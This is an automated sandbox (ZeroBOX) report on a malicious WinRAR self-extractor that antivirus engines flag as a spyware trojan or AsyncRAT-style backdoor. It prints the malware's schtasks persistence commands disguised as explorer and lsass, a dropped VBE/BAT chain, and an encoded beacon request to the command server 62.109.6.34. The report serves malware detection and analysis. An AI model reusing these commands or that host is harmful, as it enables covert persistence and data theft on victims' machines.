Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 15, 2021, 11:28 a.m.	July 15, 2021, 11:30 a.m.

Size	1.4MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`2fd35a47c26de70495d7abd6e8704e1d`
SHA256	`f60133f0545df116739879fd080e0fc688aece721a4123612ebaa479c2c551e0`
CRC32	`5ABF650A`
ssdeep	`24576:U2G/nvxW3Ww0tYljB+gXeLBMCjGCgPIKaRG7XBey/nz+JeIB+46:UbA30YxB9uLpkA0j+kIAj`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	IsPE32 - (no description) PE_Header_Zero - PE File Signature OS_Processor_Check_Zero - OS Processor Check Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

cmd.exe "C:\Users\test22\AppData\Local\Temp\cmd.exe"
2420
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\fontWinnetDhcp\exmIkg.vbe"
  2520
  - cmd.exe cmd /c ""C:\fontWinnetDhcp\Kam3E.bat" "
    2676
    - fontWinnetDhcpfontref.exe "C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe"
      2736
      - schtasks.exe "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\fveupdate\explorer.exe'" /rl HIGHEST /f
        2940
      - schtasks.exe "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Sandbox\test22\lsass.exe'" /rl HIGHEST /f
        3004
      - schtasks.exe "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\ProgramData\Microsoft Help\SearchFilterHost.exe'" /rl HIGHEST /f
        3064
      - explorer.exe "C:\Windows\fveupdate\explorer.exe"
        2068

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
62.109.6.34	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (11 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 15, 2021, 11:28 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 15, 2021, 11:28 a.m.			0	0
IsDebuggerPresent July 15, 2021, 11:28 a.m.			0	0
IsDebuggerPresent July 15, 2021, 11:28 a.m.			0	0
IsDebuggerPresent July 15, 2021, 11:28 a.m.			0	0

Command line console output was observed (5 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 15, 2021, 11:28 a.m.	buffer: C:\fontWinnetDhcp> console_handle: 0x00000007	1	1
WriteConsoleW July 15, 2021, 11:28 a.m.	buffer: "C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe" console_handle: 0x00000007	1	1
WriteConsoleW July 15, 2021, 11:28 a.m.	buffer: SUCCESS: The scheduled task "explorer" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 15, 2021, 11:28 a.m.	buffer: SUCCESS: The scheduled task "lsass" has successfully been created. console_handle: 0x0000000000000007	1	1
WriteConsoleW July 15, 2021, 11:28 a.m.	buffer: SUCCESS: The scheduled task "SearchFilterHost" has successfully been created. console_handle: 0x0000000000000007	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 15, 2021, 11:28 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

Allocates read-write-execute memory (usually to unpack itself) (50 out of 148 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005c2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2420 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e43000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2520 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74582000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000650000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000007f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e61000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34fb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001f30000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001f30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e62000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e64000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2e64000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93800000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9377c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe937a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9371c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 36864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93801000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9380a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe936da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9380b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9380c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9380d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:28 a.m.	process_identifier: 2736 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9380e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe
file	C:\fontWinnetDhcp\exmIkg.vbe
file	C:\fontWinnetDhcp\Kam3E.bat

Creates a suspicious process (3 events)

cmdline	"schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\fveupdate\explorer.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Sandbox\test22\lsass.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\ProgramData\Microsoft Help\SearchFilterHost.exe'" /rl HIGHEST /f

Drops a binary and executes it (2 events)

file	C:\fontWinnetDhcp\exmIkg.vbe
file	C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW July 15, 2021, 11:28 a.m.	show_type: 0 filepath_r: C:/fontWinnetDhcp/Kam3E.bat parameters: filepath: C:/fontWinnetDhcp/Kam3E.bat	1	1
CreateProcessInternalW July 15, 2021, 11:28 a.m.	thread_identifier: 2944 thread_handle: 0x000000000000035c process_identifier: 2940 current_directory: C:\fontWinnetDhcp filepath: track: 1 command_line: "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\fveupdate\explorer.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000364	1	1
CreateProcessInternalW July 15, 2021, 11:28 a.m.	thread_identifier: 3008 thread_handle: 0x000000000000035c process_identifier: 3004 current_directory: C:\fontWinnetDhcp filepath: track: 1 command_line: "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Sandbox\test22\lsass.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000368	1	1
CreateProcessInternalW July 15, 2021, 11:28 a.m.	thread_identifier: 3068 thread_handle: 0x000000000000035c process_identifier: 3064 current_directory: C:\fontWinnetDhcp filepath: track: 1 command_line: "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\ProgramData\Microsoft Help\SearchFilterHost.exe'" /rl HIGHEST /f filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000378	1	1
ShellExecuteExW July 15, 2021, 11:28 a.m.	show_type: 0 filepath_r: C:\Windows\fveupdate\explorer.exe parameters: filepath: C:\Windows\fveupdate\explorer.exe	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 15, 2021, 11:28 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 15, 2021, 11:28 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW July 15, 2021, 11:28 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	"schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\fveupdate\explorer.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Sandbox\test22\lsass.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\ProgramData\Microsoft Help\SearchFilterHost.exe'" /rl HIGHEST /f

Communicates with host for which no DNS query was performed (1 event)

host

62.109.6.34

Installs itself for autorun at Windows startup (3 events)

cmdline	"schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\fveupdate\explorer.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Sandbox\test22\lsass.exe'" /rl HIGHEST /f
cmdline	"schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\ProgramData\Microsoft Help\SearchFilterHost.exe'" /rl HIGHEST /f

Network communications indicative of possible code injection originated from the process explorer.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send July 15, 2021, 11:28 a.m.	buffer: GET /Multisql.php?BVUh8CqgvQvV8HT7=Gn6sqVgs&23b03a1076a634776d74be03b9878d48=690e025a8f43aff654bcfa12152d46df&3cb2b07ca96824b52834776f03cfac35=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&BVUh8CqgvQvV8HT7=Gn6sqVgs HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: 62.109.6.34 Connection: Keep-Alive socket: 1180 sent: 452	1	452	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	"C:\fontWinnetDhcp\Kam3E.bat"
parent_process	wscript.exe				martian_process	C:/fontWinnetDhcp/Kam3E.bat

Attempts to remove evidence of file being downloaded from the Internet (3 events)

file	C:\Windows\fveupdate\explorer.exe:Zone.Identifier
file	C:\Sandbox\test22\lsass.exe:Zone.Identifier
file	C:\ProgramData\Microsoft Help\SearchFilterHost.exe:Zone.Identifier

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2420 resumed a thread in remote process 2520
NtResumeThread July 15, 2021, 11:28 a.m.	thread_handle: 0x00000288 suspend_count: 1 process_identifier: 2520	1	0	0

Created a process named as a common system process (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW July 15, 2021, 11:28 a.m.	thread_identifier: 2044 thread_handle: 0x0000000000000460 process_identifier: 2068 current_directory: C:\fontWinnetDhcp filepath: C:\Windows\fveupdate\explorer.exe track: 1 command_line: "C:\Windows\fveupdate\explorer.exe" filepath_r: C:\Windows\fveupdate\explorer.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000458	1	1	0
ShellExecuteExW July 15, 2021, 11:28 a.m.	show_type: 0 filepath_r: C:\Windows\fveupdate\explorer.exe parameters: filepath: C:\Windows\fveupdate\explorer.exe	1	1	0

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

File has been identified by 57 AntiVirus engines on VirusTotal as malicious (50 out of 57 events)

Bkav	W32.MonetisikZE.Trojan
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37236441
FireEye	Trojan.GenericKD.37236441
CAT-QuickHeal	TrojanSpy.MSIL
McAfee	Artemis!2FD35A47C26D
Cylance	Unsafe
Zillya	Trojan.ScriptKD.JS.10
Sangfor	Spyware.MSIL.Stealer.gen
CrowdStrike	win/malicious_confidence_100% (W)
Alibaba	TrojanSpy:MSIL/SpyNoon.9daac396
K7GW	Spyware ( 0056adb71 )
K7AntiVirus	Spyware ( 0056adb71 )
Cyren	W32/Trojan.WZXS-2804
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Spy.Agent.CVT
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Malware.Uztuby-9848412-0
Kaspersky	UDS:Trojan-Spy.MSIL.Stealer.gen
BitDefender	Trojan.GenericKD.37236441
Avast	Win32:TrojanX-gen [Trj]
Ad-Aware	Trojan.GenericKD.37236441
Emsisoft	Trojan.GenericKD.37236441 (B)
Comodo	Malware@#1zaxxxe6wkccy
DrWeb	BackDoor.QuasarNET.5
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	TROJ_GEN.R002C0DG721
McAfee-GW-Edition	BehavesLike.Win32.Generic.th
Sophos	Mal/Generic-S
Ikarus	Trojan.MSIL.Spy
Webroot	W32.Trojan.Gen
Avira	HEUR/AGEN.1143776
MAX	malware (ai score=80)
Antiy-AVL	Trojan/Generic.ASMalwS.33F32AF
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:MSIL/SpyNoon.RTU!MTB
Gridinsoft	Trojan.Win32.Agent.ns
Arcabit	Trojan.Generic.D2382ED9
ZoneAlarm	HEUR:Trojan-Spy.MSIL.Stealer.gen
GData	Win32.Trojan.BSE.96XFQO
Cynet	Malicious (score: 99)
AhnLab-V3	Trojan/Win.DC.C4552266
BitDefenderTheta	Gen:NN.ZemsilF.34796.gr0@aKj1kiai
ALYac	Trojan.GenericKD.46608923
VBA32	TrojanSpy.MSIL.Stealer
Malwarebytes	Trojan.Dropper.SFX
TrendMicro-HouseCall	TROJ_GEN.R002C0DG721
Tencent	Msil.Trojan.Uztuby.Hwnb
